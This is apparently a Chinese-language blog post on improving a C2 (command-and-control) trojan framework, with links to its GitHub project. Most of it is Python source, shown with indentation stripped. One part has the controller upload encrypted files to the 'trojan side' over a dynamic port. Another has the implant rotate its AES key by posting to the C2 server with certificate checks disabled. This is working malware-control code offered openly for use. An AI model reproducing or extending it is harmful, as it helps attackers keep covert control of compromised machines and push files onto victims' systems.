【工具开发】动态C2改进

项目地址:https://github.com/g0dam/c2Improve

动态端口

动态端口由控制端主动申请 因为任务下发主要是控制端在做

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
def uploadfile(self, host_key: str, filepath: str, targetfilepath: str):
self.sync_keys()
if not exists(filepath.strip()): # 判断要上传的文件是否存在
print("文件不存在!")
return -1
if targetfilepath.strip()[-1] != "/": # 判断目标路径是否符合 /目录/ 格式
targetfilepath += "/"

# 请求服务器开启文件代理传输服务
random_port = self.openfileserver()
if not random_port:
print("文件服务开启失败!")
return -1

self.sendcmd(host_key, "uploadfile", port=random_port) # 向服务器发布任务
print("发布任务!\n正在等待木马端连接...")
sleep(2) # 等待两秒以确保文件服务器启动

# 开始文件传输
s = socket.socket()
s.connect((LOCAL_IP, random_port))
s.send("c".encode("utf-8")) # 向文件传输代理服务发送身份标识,c 表示我是文件发送方

# 加密文件准备
encrypted_filepath = filepath + ".enc"
try:
with open(filepath, "rb") as original_file:
original_data = original_file.read()
encrypted_data = FileCrypto.encrypt(original_data, host_key) # 使用对应的密钥进行加密
with open(encrypted_filepath, "wb") as encrypted_file:
encrypted_file.write(encrypted_data)
print(f"文件加密完成,保存路径:{encrypted_filepath}")
except Exception as e:
print(f"文件加密失败:{e}")
s.close()
return -1

filename = basename(encrypted_filepath) # 获取加密文件的名称
filesize = getsize(encrypted_filepath) # 获取加密文件的大小

# 接收文件服务器发来的对接成功信息
while True:
data = s.recv(1024)
if data:
isok = loads(data.decode("utf-8")) # {"info":yes}
break
if isinstance(isok, dict) and isok.get("info") == "yes":
print("对接成功!正在上传加密文件...")
# 文件头部信息:{"filename":文件名称,"filesize":文件大小,"filewritedir":要写入的目标路径}
filehead = {"filename": filename, "filesize": filesize, "filewritedir": targetfilepath}
s.send(dumps({"whoami": "c", "data": str(b64encode(dumps(filehead).encode("utf-8")))}).encode("utf-8"))
sleep(1)
data = {"whoami": "c", "data": "senddata"}
s.send(dumps(data).encode("utf-8")) # 发送就绪信号到接收端

# 上传加密文件
with open(encrypted_filepath, "rb") as fp:
while filesize > 0:
chunk = fp.read(1024)
filesize -= len(chunk)
s.sendall(chunk)
if filesize == 0:
print("加密文件上传完成!")
break

# 接收对端的退出信息
while True:
data = s.recv(1024)
if data:
data = data.decode("utf-8")
if data == "exit":
print("文件上传成功!")
break

# 向文件服务器发送退出信息
s.send(dumps({"whoami": "exit"}).encode("utf-8"))
s.close()

# 删除加密文件
try:
from os import remove
remove(encrypted_filepath)
print(f"临时加密文件已删除:{encrypted_filepath}")
except Exception as e:
print(f"删除加密文件失败:{e}")

return 0

动态密钥

动态密钥由被控端主动发起 每隔一段时间都需要主动更新密钥 用初始密钥加密当前更新后的密钥后发送给服务端 服务端更新任务密钥等信息 同时控制端代码也需要更新 在每次操作之前都获取被控端的最新密钥

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
def update_aes_key(self, key: str, aes_key: str) -> str:
"""
描述:
客户端生成新的 AES 密钥并告知服务端。

参数:
key: 当前客户端的唯一标识。
aes_key: 当前 AES 加密密钥。

返回:
更新成功返回新 AES 密钥,失败返回 "error"。
"""
try:
# 生成新 AES 密钥
new_aes_key = md5((str((randint(1, 65535))) + "pkcn").encode("utf-8")).hexdigest()[:16]
signature = DataAesCrypt(aes_key, key).encrypt() # 使用当前 AES 密钥加密客户端唯一标识

# 向服务端发送更新请求
url = "https://" + IP + ":" + str(PORT) + "/updatekey"
payload = {
"key": key,
"new_aes_key": new_aes_key,
"signature": signature
}
rst = post(url=url, json=payload, timeout=5, verify=False)
if rst.status_code == 200:
print("AES 密钥更新成功!")
return new_aes_key
else:
print("AES 密钥更新失败:", rst.text)
return "error"
except Exception as e:
print(f"更新 AES 密钥时发生错误:{e}")
return "error"

文件加密

尝试进行流式加密发现太麻烦了 直接将文件整个加密成新文件之后传输新文件

sockets 代理

这块主要就是维护相应的链接